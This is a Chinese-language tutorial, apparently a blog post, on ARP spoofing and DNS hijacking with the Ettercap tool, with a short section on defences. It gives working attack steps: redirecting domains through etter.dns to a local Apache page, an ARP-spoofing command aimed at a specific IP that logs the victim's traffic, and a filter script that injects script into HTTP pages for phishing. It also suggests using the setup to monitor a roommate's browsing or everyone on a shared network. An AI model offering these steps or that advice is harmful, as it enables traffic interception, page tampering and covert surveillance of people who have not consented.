每日一句:
林暗草惊风,将军夜引弓。 ——卢纶《和张仆射塞下曲·其二》
本次目标:从ARP欺骗到dns劫持案例
本文内容:
~ARP协议简介
~Ettercap简介
~Ettercap常用指令
~ettercap案例
一、ARP协议简介
1,什么是arp?
答:ARP(Address Resolution Protocol)即地址解析协议,
用于实现从 IP 地址到 MAC地址的映射,即询问目标IP对应的MAC地址
问:如何知道MAC地址?
答:打开cmd;ipconfig /all
问:如何查看arp缓存表
答:arp -a
2,arp攻击危害
通过修改mac地址可以造成但不仅仅以下情况:
~中间人拦截
~局域网流控
~流量欺骗
题外话:
大量的安全工具,例如大名鼎鼎的Cain、功能完备的Ettercap、操作傻瓜式的P2P终结者,底层都要基于ARP实现。
3,arp攻击具体情况
场景:局域网内,三台PC主机,一个被黑客攻击。黑客想在内网漫游扩大危害
pc1正常,pc2正常,pc3被黑客控制
开始:
pc1在内网广播:我是pc1,pc2在哪?把你的mac地址给我
pc3在内网回应:我pc2,把自己的mac地址发过去了
pc3等会发广播:pc2在哪?我是pc1,把你的mac地址发给我
pc2在内网回应:我是pc2,把自己的mac地址发过去了
至此,pc3已经成了中间人,pc1和pc2交流的所有信息都会经过pc3
4,防护arp攻击
~进路由器,将IP与MAC地址,静态绑定。
使用cmd命令:arp -s 网关IP 网关mac地址
~安装arp防护墙
例如360安全卫士,在路由器上绑定mac地址
5,arp欺骗的原理
通过欺骗局域网内访问者PC的网关MAC地址,
使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。
此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网上上特定计算机或所有计算机无法正常连线
二、Ettercap简介
1,简介
Ettercap是一个综合性的中间人攻击工具,
使用它可以进行ARP欺骗、拦截器、DNS欺骗等常见的中间人攻击。
2,特点:容易上手、同时具有图形化界面
3,官网及其下载
官网:
http://www.ettercap-project.org/
插件:
https://linux.die.net/man/8/ettercap_plugins
过滤器:
https://linux.die.net/man/8/etterfilter
补充:kali自带此款工具
三、Ettercap常用指令
1.用户界面类型
-T, –text 使用只显示字符的界面
-q, –quiet 安静模式,不显示抓到的数据包内容
-G, –gtk 使用GTK+ GUI,开启图形化模式
2.日志选项
-w, –write <file> 将嗅探到的数据写入pcap文件 <file>
-L, –log <logfile> 此处记录所有流量<logfile>
3.通用选项
-i, –iface <iface> 使用该网络接口
-I, –liface 显示所有的网络接口
-P, –plugin <plugin> 开始该插件<plugin>
-F, –filter <file> 加载过滤器 <file> (内容过滤器)
4.嗅探与攻击选项
-M, mitm <方法:ARGS> 执行mitm攻击
补充:也可以通过ettercap -h查找某些命令
四、ettercap案例
Ettercap开启dns欺骗
1.开启apache服务
编辑html文件:leafpad /var/www/html/
service apache2 start
2.编辑ettercap配置文件
Leafpad /etc/ettercap/etter.dns
3.Ettercap使用图形化
Ettercap –G
4.命令行测试
ettercap -Tq -i eth0 -M arp:remote -w baidu.pcap /192.168.88.2// /192.168.88.134//
===对192.168.88.134启动arp欺骗攻击,并且嗅探数据保存在baidu.pcap中
===但是https的站点,不会被记录
Ettercap替换网页内容 – 钓鱼
1.准备过滤器脚本
官方示例脚本:
/usr/share/ettercap/etter.filter.examples
2.编译脚本
etterfilter head.filter -o head.ef //head.filter为脚本名
3.受害者访问http网站
过滤器脚本
if (ip.proto == TCP && tcp.dst == 80){
if (search(DATA.data, "Accept-Encoding")){
replace("Accept-Encoding", "Accept-Nothing");
}
}
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<head>")) {
replace("<head>", "<head><script>alert('2333')</script>");
msg("inject head");
}
}
注意:该过滤脚本的作用是在http网站中替换<head>内容,弹个框
值得一提的是,这并不是xss。而是替换了头文件,造成的弹框。
案例:https://www.sohu.com/a/289585315_609556
===通过这个案例,你就可以同步一下你舍友一天都干了什么,相当于历史记录。当然,有一定的数据丢失
问:有很多设有怎么同时监听?
答:加入你们处于同一内网,直接攻击监听路由器即可
注意:在Ettercap的使用过程中,只有http的站点页面会被截取。https的站点仅仅是无法正常访问
五、知识补充
问:DNS劫持的原理?
是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,
把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,
其效果就是对特定的网络不能访问或访问的是假网址。
问:在使用ettercap进行dns劫持的过程为什么要开启apache服务?
我们劫持对方的域名,所以要把对方的域名指向一个地方,我们通过本地开启apache服务,把对方域名指向我们
问:在哪里修改apache的网页文件?
地址:/var/www/html 里面
问:在使用ettercap需要对配置文件进行什么设置?
对ettercap的dns配置文件进行修改,来指向我们的地址
修改配置文件为:/etc/ettercap/etter.dns,修改dns解析记录
问:如何劫持https站点,进行dns劫持?
现在无法劫持https站点,因为无法加载证书,以及https传输为加密的
问:在使用ettercap的时候过滤器的作用是什么?
通过过滤器,我们能够直接去嗅探网页中的内容
问:官方实例的过滤器脚本有什么用?
给我们示例,以及让我们去学习创造
问:如何编译我们的自己的脚本?
使用命令:etterfilter 脚本名 -o 脚本名 , 第一个为要编译的脚本,第二个为导出脚本